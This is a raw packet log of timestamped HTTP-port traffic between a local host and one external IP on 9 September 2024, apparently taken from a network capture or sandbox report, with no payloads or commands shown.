Sep 9, 2024 18:45:02.290215969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290230036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290236950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290246010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290263891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290277958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290278912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290296078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290324926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290329933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290347099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290348053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290388107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290420055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290427923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290478945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290524960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290540934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290568113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290577888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290584087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290600061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290605068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290621996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290630102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290721893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290736914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290752888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290767908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290770054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290770054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290812016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290812016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290812016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290853977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290920973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290936947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290952921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290968895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290980101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290987015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291002035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291003942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291022062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291049957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291076899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291229963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291244984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291263103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291279078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291281939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291296959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291311026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291311026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291315079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291337013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291342974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291357040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291361094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291389942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291413069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291431904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.291441917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291441917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291441917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291472912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.291472912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.326931000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.326965094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.326980114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.326994896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.326997042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327020884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327028036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327028036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327049017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327069044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327088118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327121973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327132940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327137947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327174902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327177048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327191114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327198029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327208996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327220917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327238083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327258110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327449083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327464104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327480078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327516079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327517033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327534914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327555895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327570915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327585936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327600956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327609062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327625990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327662945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327699900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327716112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327729940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327750921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327761889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327773094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327783108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327790976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327806950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327824116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327824116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327835083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327841997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327855110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327872992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327887058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327894926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.327941895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.327987909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328005075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328021049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328035116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328038931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328053951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328069925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328083992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328088045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328120947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328135967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328166008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328183889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328198910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328213930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328229904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328234911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328257084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328294039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328320980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328336000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328352928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328363895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328366995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328382969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328397989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328408003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328463078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328489065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328504086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328504086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328531027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328542948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328605890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328620911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328635931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328651905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328654051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328669071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328669071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.328690052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.328716040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387649059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387671947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387686968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387712955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387715101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387728930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387742043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387746096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387763023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387780905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387801886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387913942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387929916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387944937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387960911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.387962103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387989998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.387995958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388000965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388017893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388025045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388035059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388046980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388052940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388071060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388101101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388101101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388101101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388115883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388130903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388145924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388164997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388189077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388206005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388221979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388238907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388243914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388251066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388257027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388277054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388289928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388308048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388465881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388480902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388495922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388511896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388520002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388530970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388540983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388549089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388565063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388567924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388581991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388600111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388628960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388695955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388711929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388727903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388744116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388746023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388755083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388761997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388777018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388783932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388806105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388808012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388823032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388837099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388839960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388859034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388865948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388875961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388891935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388895035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388911009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388921022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388926983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388943911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.388948917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.388968945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389002085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389132977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389182091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389199018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389214039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389249086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389269114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389295101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389309883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389324903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389342070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389342070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389362097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389377117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389448881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389463902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389478922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389496088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389496088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389512062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389528036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389544964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389563084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.389588118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.389611959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419409990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419446945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419461966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419467926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419496059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419500113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419512987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419524908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419545889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419549942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419557095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419584990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419588089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419600964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419625998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419627905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419641018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419651031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419672012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419689894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419698954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419714928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419729948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419748068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419763088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419781923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419797897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419812918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419837952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419842958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419856071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419869900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419877052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419898033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419939995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.419965029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419981003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.419996977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420013905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420013905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420028925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420032978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420053959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420083046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420120001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420135021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420150042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420165062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420181036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420201063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420207024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420253038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420253038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420269966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420295954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420309067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420340061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420356989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420383930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420393944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420603991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420639038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420650005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420654058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420681953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420696020 CEST	49707	80	192.168.2.5	45.152.113.10
